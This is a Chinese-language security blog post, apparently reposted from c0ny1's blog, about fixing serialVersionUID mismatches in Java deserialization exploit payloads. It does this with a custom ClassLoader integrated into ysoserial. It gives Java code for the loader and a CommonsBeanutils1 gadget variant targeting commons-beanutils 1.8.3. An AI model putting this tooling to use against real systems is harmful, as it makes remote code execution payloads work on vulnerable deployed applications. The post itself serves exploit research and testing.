serialVesionUid不一致导致反序列化失败也算是Java反序列化漏洞利用比较常见的问题了。查了下资料,发现了各种各样的方法,但没有找到一种适合所有gadget的通用解决方案,为此我花了一些时间,算是找到了自己心中比较完美的解决方案:自定义ClassLoader。目前已经将其集成到ysoserial中,可完美解决各类gadget serialVesionUID不一致问题。
使用自定义ClassLoader解决反序列化serialVesionUID不一致问题
0x01 背景
serialVesionUid
不一致导致反序列化失败也算是Java反序列化漏洞利用比较常见的问题了。查了下资料,发现了各种各样的方法,但没有找到一种适合所有gadget的通用解决方案,为此我花了一些时间,算是找到了自己心中比较完美的解决方案:自定义ClassLoader。目前已经将其集成到ysoserial中,可完美解决各类gadget serialVesionUID不一致问题。
0x02 各方案的优劣
在解决这个问题之前,我尝试的很多方法,简单说下它们各自能解决的问题和存在的缺陷。
方案1:修改序列化byte数据
该方法可解决序列化最终数据的serialVesionUID不一致,但无法解决Object的serialVesionUID不一致
方案2:反射修改serialVesionUID
可以解决1的缺陷,但无法解决Gadget依赖的class没有serialVesionUID属性的情况,因为反射只能修改Object的属性,不能添加。
方案3:修改Class字节码,添加或修改serialVesionUID
能解决Gadget直接依赖Class的serialVesionUID不一致问题,可弥补方案2的缺陷。但不好解决Gadget间接依赖class存在serialVesionUID不一致的情况。
通过javassist给class添加serialVesionUID
方案4:Hook ObjectStreamClass.getSerialVesionUID()
该方法负责返回所有参与序列化Class的serialVesionUID,Hook它并修改返回值,可解决所有class的serialVesionUID不一致问题。但它无法解决Gadget依赖jar版本之间,class差异较大,属性类型不同的情况。因为serialVesionUID发生改变取决于两个因素:Class的属性和方法。如果属性类型改变了,单单只修改serialVesionUID是不够的。
Hook ObjectStreamClass.getSerialVesionUID()
方案5:URLClassLoader
使用URLClassLoader动态引入依赖jar可以很好的解决以上方案的缺陷。只是用在该场景下有些费劲,原因有三:
第一,不方便隔离依赖。包含serialVesionUID不一致class的jar(这里简称
不一致jar
)是需要被隔离的。由于URLClassLoader是双亲委派模式,存在被父ClassLoader中的同名Class覆盖的风险。第二,不方便共享依赖。Gadget依赖的部分jar可能不存在serialVesionUID不一致问题(这里简称
可共用jar
),我们需要共享。第三,不方便添加Class到ClassLoader中,URLClassLoader只提供添加jar的方法。
0x03 自定义ClassLoader解决方案
在我看来比较完美的方案不仅要解决以上方案的缺陷,还要能防止各种未知的”副作用”。使用ClassLoader来解决的思路肯定是没错,但我们需要结合解决serialVesionUID不一致问题这个场景量身设计一个ClassLoader,核心有两点:
- 改双亲委派为当前ClassLoader优先,方便隔离不一致jar共享可共用jar
- 方便添加Class和Jar到ClassLoader中
那么自定义ClassLoader是如何解决serialVesionUID不一致问题的呢?
自定义ClassLoader可以很方便地切换不一致jar
为漏洞环境的对应版本,生成的发序列化数据自然不会存在serialVesionUID不一致问题。具体实现如下图,我们自定义ClassLoader包含了Gadget class和不一致jar。当Gadget class实例化生成序列化对象时,由于当前ClassLoader优先原则,存在不一致问题的class使用的是自定义ClassLoader加载的,实现隔离。而其他Class找不到,自然走双亲委派模式,去父ClassLoader中查找,实现共享。
下面我们分别来实现。
0x04 addClass && addJar
首先我们自定义的ClassLoader需要维护要一个装载Class的Map classByteMap
,类名
为键
,类文件byte数据
为值
。方便后续添加和获取Class。
private Map<String, byte[]> classByteMap = new HashMap<String,byte[]>();
addClass方法,主要是为了方便我们我们把Gadget对应的class添加的自定义ClassLoader中。
public void addClass(String className,byte[] classByte){
classByteMap.put(className,classByte);
}
addJar方法,主要是为了方便把gadget的不一致jar快速添加到ClassLoader中。具体来说就是读取不一致jar中所有class的class name
和class byte
,存储到classByteMap
中。
private void readJar(JarFile jar) throws IOException{
Enumeration<JarEntry> en = jar.entries();
// 遍历jar文件所有实体
while (en.hasMoreElements()){
JarEntry je = en.nextElement();
String name = je.getName();
// 只class文件进行处理
if (name.endsWith(".class")){
String clss = name.replace(".class", "").replaceAll("/", ".");
if(this.findLoadedClass(clss) != null) continue;
// 读取class的byte内容
InputStream input = jar.getInputStream(je);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int bufferSize = 4096;
byte[] buffer = new byte[bufferSize];
int bytesNumRead = 0;
while ((bytesNumRead = input.read(buffer)) != -1) {
baos.write(buffer, 0, bytesNumRead);
}
byte[] cc = baos.toByteArray();
input.close();
// 将class name 和class byte存储到classByteMap
classByteMap.put(clss, cc);
}
}
}
0x05 改双亲委派为自定义ClassLoader优先
要想打破双亲委派,我们需要重新loadClass方法,修改加载逻辑为优先使用自定义ClassLoader加载。
@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
// 1. 检测自定ClassLoader缓存中有没有,有的话直接返回
Class clazz = cacheClass.get(name);
if (null != clazz) {
return clazz;
}
try {
// 2. 若缓存中没有,就从当前ClassLoader可加载的所有Class中找
clazz = findClass(name);
if (null != clazz) {
cacheClass.put(name, clazz);
}else{
clazz = super.loadClass(name, resolve);
}
} catch (ClassNotFoundException ex) {
// 3.当自定义ClassLoader中没有找到目标class,再调用系统默认的加载机制,走双亲委派模式
clazz = super.loadClass(name, resolve);
}
if (resolve) {
resolveClass(clazz);
}
return clazz;
}
}
findClass方法定义的是自定义ClassLoader查找Class的逻辑
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException{
// 从classByteMap中获取
byte[] result = classByteMap.get(name);
if(result == null){
// 没有找到则抛出对应异常
throw new ClassNotFoundException();
}else{
// 将一个字节数组转为Class对象
return defineClass(name, result, 0, result.length);
}
}
0x06 编写版本兼容gadget
依然以ysoserial CommonsBeanutils1
为例子。ysoserial中默认commons-beanutils是1.9.2版本,下面我们给它添加一个兼容1.8.3版本的CommonsBeanutils1_183
。
通过对比1.9.2和1.8.3序列化数据,发现serialVesionUID不一致的只有org.apache.commons.beanutils.BeanComparator
类,它在commons-beanutils-<version>.jar
中,剩余的commons-collections-3.1.jar
和commons-logging-1.2.jar
为可共用jar。
接着就可以编写代码,调用自定义ClassLoader SuidClassLoader来解决serialVesionUID不一致问题了。
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF,Authors.CONY1 })
public class CommonsBeanutils1_183 extends Object implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
// 创建自定义ClassLoader对象
SuidClassLoader suidClassLoader = new SuidClassLoader();
// 将Gadget class添加到自定义ClassLoader中
suidClassLoader.addClass(CommonsBeanutils1.class.getName(),classAsBytes(CommonsBeanutils1.class));
// 从资源目录读取commons-beanutils-1.8.3.jar的base64数据
InputStream is = CommonsBeanutils1_183.class.getClassLoader().getResourceAsStream("commons-beanutils-1.8.3.txt");
byte[] jarBytes = new BASE64Decoder().decodeBuffer(CommonUtil.readStringFromInputStream(is));
// 将Gadget不一致jar添加到自定义ClassLoader中
suidClassLoader.addJar(jarBytes);
Class clsGadget = suidClassLoader.loadClass("ysoserial.payloads.CommonsBeanutils1");
// 判断存在serialVesionUID不一致问题的class是否是由自定义ClassLoader加载的
if(BeanComparator.class.getClassLoader().equals(suidClassLoader)){
// 使用自定义ClassLoader加载的Gadget class创建对象,调用其getObject构建序列化对象
Object objGadget = clsGadget.newInstance();
Method getObject = objGadget.getClass().getDeclaredMethod("getObject",String.class);
Object objPayload = getObject.invoke(objGadget,command);
suidClassLoader.cleanLoader();
return objPayload;
}else{
System.out.println("Class is not SuidClassLoader loading, serialization failure!");
return null;
}
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1_183.class, args);
}
}
Weblogic coherence.jar的gadget可如法炮制。近期忙完会将完整的代码上传到github项目ysoserial-woodpecker
0x07 参考文章
- java类中serialversionuid 作用 是什么?举个例子说明
- Java自定义类加载器与双亲委派模型
- Java Deserialization Exploitation With Customized Ysoserial Payloads
文章来源于c0ny1博客,原文地址:https://gv7.me/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/
- 本文作者: 带头大哥
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/98
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!